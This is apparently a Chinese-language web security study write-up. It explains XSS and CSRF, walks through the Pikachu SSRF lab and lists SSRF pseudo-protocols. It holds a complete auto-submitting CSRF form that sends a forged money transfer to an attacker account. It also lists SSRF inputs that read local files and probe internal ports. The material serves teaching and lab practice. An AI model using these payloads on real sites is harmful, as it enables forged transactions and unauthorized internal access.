一、CSRF和XSS区别
什么是 XSS 和 CSRF?
CSRF和XSS都是客户端攻击,它们滥用同源策略,利用web应用程序和受害用户之间的信任关系。XSS和跨站脚本攻击允许攻击者破坏合法用户与任何易受攻击的应用程序的交互。
什么是 XSS?
XSS漏洞发生在web应用程序中,这些应用程序在不进行编码或验证的情况下接受用户输入并在响应中使用它。恶意用户编写恶意代码并通过输入表单提交。目标服务器包含这个脚本及其响应,客户机浏览器执行它。由于浏览器信任web服务器,它授予恶意脚本访问本地存储的cookie、会话令牌和其他敏感客户端信息的权限。
XSS是一个常见的攻击矢量,成功攻击的影响通常因不同的场景而不同,包括:
泄露用户文件
安装恶意软件/木马
窃取网上银行信息
HTML/DOM 内容修改
将用户重定向到未知网站
XSS 攻击类型
XSS 攻击主要分为三类:存储型 XSS 攻击/持久型 XSS/Type-I XSS
在存储式跨站攻击中,注入的恶意代码被永久地存储在易受攻击的web应用程序的不同组件中,如数据库、评论字段、访客日志、消息论坛等。每当客户端访问受感染网站或向web服务器发起请求时,该请求就会在用户的浏览器中执行恶意脚本。
无目的 XSS
一种混合形式的XSS攻击,其中攻击者的脚本被存储并反映来自后端应用程序的用户。
反射/非持久性 XSS
在反射式跨站点脚本中,恶意脚本会从 Web 服务器反射出来,例如搜索结果、错误消息或任何其他包含某些用户输入的 Web 服务器响应。该脚本通过外部路径传递给受害者,例如不同的网站或电子邮件。当受害者提交表单、浏览黑客网站或点击可疑链接时,恶意脚本会被发送到该网站,然后反映在客户端的浏览器中。
基于 DOM 的 XSS
在基于 DOM 的跨站脚本中,恶意脚本是通过修改受害者浏览器的文档对象模型环境而执行的。这种攻击不会改变 Web 服务器的 HTTP 响应,但会由于 DOM 修改而改变客户端代码的执行。
什么是 CSRF?
跨站点请求伪造 (CSRF) 也称一键式攻击,是一种 Web 应用程序网络攻击,可诱使受害者在不知不觉中代表攻击者执行操作。CSRF 攻击利用 Web 应用程序中的一个安全漏洞,该漏洞无法区分经过身份验证的用户会话中的错误请求和合法请求。
攻击者通常使用社会工程技术发起 CSRF 攻击,以诱骗受害者用户加载页面或单击包含恶意请求的链接。该链接从经过身份验证的用户的浏览器向目标网站发送恶意请求。对于大多数网站,浏览器请求本质上包括会话信息,例如会话 cookie、有效令牌或网站与用户关联的登录凭据。如果经过身份验证的用户已经与目标网站处于活动会话中,则站点会将新的恶意请求视为来自用户的有效请求并执行它。
CSRF 攻击类型
如果 Web 应用程序无法区分非法请求和有效请求,那么它很容易受到跨站点请求伪造的攻击。有当认证用户与web应用程序处于活动会话时,攻击才会成功。
登录 CSRF 攻击
使用一种称为Login CSRF攻击的特殊形式的CSRF攻击,攻击者可以访问受害者用户的机密和敏感数据。这种攻击迫使不知情的用户登录到黑客控制的帐户。然后,受害者被骗向账户中添加个人身份识别和敏感信息,如电子邮件地址和信用卡信息。
存储 CSRF 攻击
CSRF攻击包也可以存储在易受攻击的网站上。对手可以通过执行高级XSS攻击或在接受HTML的字段中存储IFRAME或IMG标记来实现存储CSRF攻击。在站点上存储攻击会放大攻击的严重性和可能性,因为受害者用户现在肯定会查看CSRF加载的页面,并且也会自然地对该页面进行身份验证。
CSRF 与 XSS 的区别
CSRF和XSS都是客户端攻击,它们滥用同源策略,利用web应用程序和不知情的用户之间的信任关系。
但是,XSS 和 CSRF 攻击之间存在一些根本差异,包括:
XSS攻击遵循双向攻击模式,允许攻击者执行恶意脚本、访问响应,并将后续敏感数据发送到攻击者选择的目的地。另一方面,CSRF是一种单向攻击机制,这意味着攻击者只能发起HTTP请求,但不能检索已发起请求的响应。
CSRF攻击要求经过身份验证的用户处于活动会话中,而XSS攻击则不需要。在XSS攻击中,只要用户登录,就可以存储和交付有效载荷。
CSRF攻击的范围有限,仅限于用户可以执行的操作,例如点击恶意链接或访问黑客的网站。相反,XSS攻击提供执行恶意脚本来执行攻击者所选择的任何活动,从而扩大了攻击的范围。
在XSS攻击中,恶意代码存储在站点中,而在CSRF攻击中,恶意代码存储在受害用户访问的第三方站点中。
二、CSRF攻击步骤
CSRF攻击攻击原理及过程如下:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
从上面的流程可以看出,想要达成CSRF攻击,必须达到两个基本条件:
- 登录受信任站点A,并在本地生成Cookie。
- 在不登出A的情况下,訪问危急站点B。
三、CSRF手工构造POST型页面方法
工构造一个用于CSRF攻击的POST型页面通常包括以下步骤。通过这种方式,攻击者可以利用受害者的浏览器自动提交恶意表单到目标网站。
1. 确定目标URL和参数
首先,攻击者需要确定目标网站的URL以及需要在POST请求中提交的参数。例如,目标URL可能是一个处理表单提交的地址,如https://example.com/transfer,参数可能包括用户ID、金额等。
2. 编写恶意表单
攻击者编写一个HTML表单,其中包含目标URL、所需的表单字段和预设的值。这些值将被用于执行攻击操作。输入框通常是隐藏的,以避免受害者察觉。
<form id="csrfForm" action="https://example.com/transfer" method="POST">
<input type="hidden" name="user_id" value="2021212647">
<input type="hidden" name="amount" value="8888">
<input type="hidden" name="account" value="attacker_account">
</form>
3. 自动提交表单
为了确保受害者无意间提交这个表单,攻击者会在页面中添加一段JavaScript代码,自动触发表单提交。当受害者加载页面时,表单将立即提交,完成CSRF攻击。
<script type="text/javascript">
document.getElementById('csrfForm').submit();
</script>
4. 诱导受害者访问该页面
攻击者需要诱导受害者访问这个恶意页面。常见的方法包括:
- 通过社交工程手段诱导受害者点击链接。
- 将恶意页面嵌入到一个受信任的第三方网站中。
- 通过电子邮件或社交媒体发送该页面的链接。
5. 示例
下面是一个完整的CSRF恶意页面示例:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<form id="csrfForm" action="https://example.com/transfer" method="POST">
<input type="hidden" name="user_id" value="2021212647">
<input type="hidden" name="amount" value="8888">
<input type="hidden" name="account" value="attacker_account">
</form>
<script type="text/javascript">
document.getElementById('csrfForm').submit();
</script>
</body>
四、token类CSRF利用方法
1. 令牌泄露攻击
如果应用程序在某些情况下不小心泄露了CSRF令牌(例如,通过URL或在不安全的地方输出),攻击者可以利用该令牌发起CSRF攻击。
攻击步骤:
获取CSRF令牌:攻击者可能通过以下方式获取到CSRF令牌:
浏览器扩展或恶意脚本:XSS(Cross-Site Scripting)攻击可能获取到用户页面中的CSRF令牌。
URL泄露:如果CSRF令牌通过GET请求参数传递,攻击者可能通过Referer头或日志获取到该令牌。
构造恶意请求:攻击者将获取到的令牌嵌入到恶意表单中,并诱使用户提交该表单。
执行攻击:用户在已登录状态下访问攻击者构造的页面,自动发送包含合法CSRF令牌的请求,目标网站处理请求并执行相应操作。
2. 利用反射型XSS获取令牌
如果目标网站存在反射型XSS漏洞,攻击者可以利用该漏洞执行JavaScript代码来获取当前页面中的CSRF令牌,然后使用这个令牌发起CSRF攻击。
攻击步骤:
识别XSS漏洞:攻击者识别并利用目标网站上的反射型XSS漏洞。
获取CSRF令牌:利用XSS脚本获取页面中包含的CSRF令牌。
发送恶意请求:利用获取到的CSRF令牌构造并发送恶意请求
3. 登录跨站脚本与CSRF结合
攻击者可以先通过XSS漏洞在目标网站上执行恶意脚本,获取用户的CSRF令牌,随后利用该令牌发起CSRF攻击。
攻击步骤:
利用XSS注入脚本:攻击者在受害者访问的页面上注入恶意JavaScript。
获取并保存CSRF令牌:恶意脚本运行后,获取页面中的CSRF令牌。
构造并发送恶意请求:利用获取的令牌构造恶意POST请求,并自动提交。
五、SSRF常用伪协议
1. file://
2. dict://
3. gopher://
4. ftp://
5. http/https
6. ldap://
7. php://
8. mailto://
9. jar://
10. netdoc://
六、pikachu
第一关
点击链接,发现这里出现了一个url地http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
1.通过网址访问链接
比如说修改url为:url=http://www.baidu.com,访问百度页面:
2.利用file协议查看本地文件
修改url为:url=file:///f:/test.txt,查看文件的内容:
3.dict协议扫描内网主机开放端口
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说内网主机开了http端口的话,可以修改url为:url=dict://127.0.0.1:80
第二关(file_get_content)
点击链接,发现这里出现了一个url地http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
1.file读取本地文件
修改file为:file=file:///F:/test.txt,查看文件的内容:
2.http协议请求内网资源
修改file为:file=http://127.0.0.1/pikachu/vul/sqli/1.php,查看文件的内容:
7.SSRF靶场通关时根据源代码说明漏洞成因(加分项)
部分关键源代码:
根据源码可以看到,这里对传入的url参数没有做任何过滤,然后就直接对传入的参数执行了curl。
部分关键源代码:
根据源码可以看到,这里对传入的file参数没有做任何过滤,然后就直接对传入的路径进行了文件读取。